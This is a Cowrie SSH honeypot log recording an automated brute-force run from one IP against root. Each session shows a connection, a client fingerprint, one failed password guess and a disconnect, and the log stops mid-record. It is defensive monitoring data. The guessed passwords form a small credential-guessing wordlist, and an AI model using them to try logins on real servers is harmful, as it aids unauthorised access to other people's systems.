{"eventid":"cowrie.login.failed","username":"root","password":"Qwerty123!","message":"login attempt [root/Qwerty123!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:07:01.460374Z","src_ip":"60.165.124.241","session":"effe1347f813","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:07:02.706666Z","src_ip":"60.165.124.241","session":"effe1347f813","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":52388,"dst_ip":"10.17.0.5","dst_port":22,"session":"6b51204f8291","protocol":"ssh","message":"New connection: 60.165.124.241:52388 (10.17.0.5:22) [session: 6b51204f8291]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:07:02.984075Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:07:02.989161Z","src_ip":"60.165.124.241","session":"6b51204f8291","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:07:03.247931Z","src_ip":"60.165.124.241","session":"6b51204f8291","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Admin@123#","message":"login attempt [root/Admin@123#] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:07:04.032931Z","src_ip":"60.165.124.241","session":"6b51204f8291","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:07:05.293305Z","src_ip":"60.165.124.241","session":"6b51204f8291","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":55244,"dst_ip":"10.17.0.5","dst_port":22,"session":"94e02a68ddbf","protocol":"ssh","message":"New connection: 60.165.124.241:55244 (10.17.0.5:22) [session: 94e02a68ddbf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:07:05.543749Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:07:05.549057Z","src_ip":"60.165.124.241","session":"94e02a68ddbf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:07:05.809035Z","src_ip":"60.165.124.241","session":"94e02a68ddbf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qweqweqwe","message":"login attempt [root/qweqweqwe] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:07:06.606048Z","src_ip":"60.165.124.241","session":"94e02a68ddbf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:07:07.874486Z","src_ip":"60.165.124.241","session":"94e02a68ddbf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":58432,"dst_ip":"10.17.0.5","dst_port":22,"session":"552574980aae","protocol":"ssh","message":"New connection: 60.165.124.241:58432 (10.17.0.5:22) [session: 552574980aae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:07:08.122810Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:07:08.129544Z","src_ip":"60.165.124.241","session":"552574980aae","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:07:08.391615Z","src_ip":"60.165.124.241","session":"552574980aae","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"syidc@123","message":"login attempt [root/syidc@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:07:09.141883Z","src_ip":"60.165.124.241","session":"552574980aae","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:07:10.397888Z","src_ip":"60.165.124.241","session":"552574980aae","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":33200,"dst_ip":"10.17.0.5","dst_port":22,"session":"ff3ef6bc172a","protocol":"ssh","message":"New connection: 60.165.124.241:33200 (10.17.0.5:22) [session: ff3ef6bc172a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:07:10.629827Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:07:10.638658Z","src_ip":"60.165.124.241","session":"ff3ef6bc172a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:07:10.882374Z","src_ip":"60.165.124.241","session":"ff3ef6bc172a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Deadstar!#%","message":"login attempt [root/Deadstar!#%] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:07:11.631420Z","src_ip":"60.165.124.241","session":"ff3ef6bc172a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:07:12.883429Z","src_ip":"60.165.124.241","session":"ff3ef6bc172a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":36262,"dst_ip":"10.17.0.5","dst_port":22,"session":"7e5906d2d2b9","protocol":"ssh","message":"New connection: 60.165.124.241:36262 (10.17.0.5:22) [session: 7e5906d2d2b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:07:13.122060Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:07:13.127397Z","src_ip":"60.165.124.241","session":"7e5906d2d2b9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:07:13.371066Z","src_ip":"60.165.124.241","session":"7e5906d2d2b9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Admin@abc","message":"login attempt [root/Admin@abc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:07:14.102731Z","src_ip":"60.165.124.241","session":"7e5906d2d2b9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:07:15.342152Z","src_ip":"60.165.124.241","session":"7e5906d2d2b9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":39108,"dst_ip":"10.17.0.5","dst_port":22,"session":"02c0847beb97","protocol":"ssh","message":"New connection: 60.165.124.241:39108 (10.17.0.5:22) [session: 02c0847beb97]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:07:15.578103Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:07:15.586911Z","src_ip":"60.165.124.241","session":"02c0847beb97","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:07:15.830101Z","src_ip":"60.165.124.241","session":"02c0847beb97","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Professor@2","message":"login attempt [root/Professor@2] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:07:16.580687Z","src_ip":"60.165.124.241","session":"02c0847beb97","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:07:17.825405Z","src_ip":"60.165.124.241","session":"02c0847beb97","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":42096,"dst_ip":"10.17.0.5","dst_port":22,"session":"87cc9bf41094","protocol":"ssh","message":"New connection: 60.165.124.241:42096 (10.17.0.5:22) [session: 87cc9bf41094]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:07:18.063607Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:07:18.068390Z","src_ip":"60.165.124.241","session":"87cc9bf41094","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:07:18.309576Z","src_ip":"60.165.124.241","session":"87cc9bf41094","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"zlidc123!@#","message":"login attempt [root/zlidc123!@#] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:07:19.040509Z","src_ip":"60.165.124.241","session":"87cc9bf41094","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:07:20.282798Z","src_ip":"60.165.124.241","session":"87cc9bf41094","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":45102,"dst_ip":"10.17.0.5","dst_port":22,"session":"d7218bee6ee9","protocol":"ssh","message":"New connection: 60.165.124.241:45102 (10.17.0.5:22) [session: d7218bee6ee9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:07:20.514982Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:07:20.522731Z","src_ip":"60.165.124.241","session":"d7218bee6ee9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:07:20.759711Z","src_ip":"60.165.124.241","session":"d7218bee6ee9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ABCabc123456","message":"login attempt [root/ABCabc123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:07:21.474652Z","src_ip":"60.165.124.241","session":"d7218bee6ee9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:07:22.716738Z","src_ip":"60.165.124.241","session":"d7218bee6ee9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":47998,"dst_ip":"10.17.0.5","dst_port":22,"session":"02480d9aa8f3","protocol":"ssh","message":"New connection: 60.165.124.241:47998 (10.17.0.5:22) [session: 02480d9aa8f3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:07:22.952477Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:07:22.957171Z","src_ip":"60.165.124.241","session":"02480d9aa8f3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v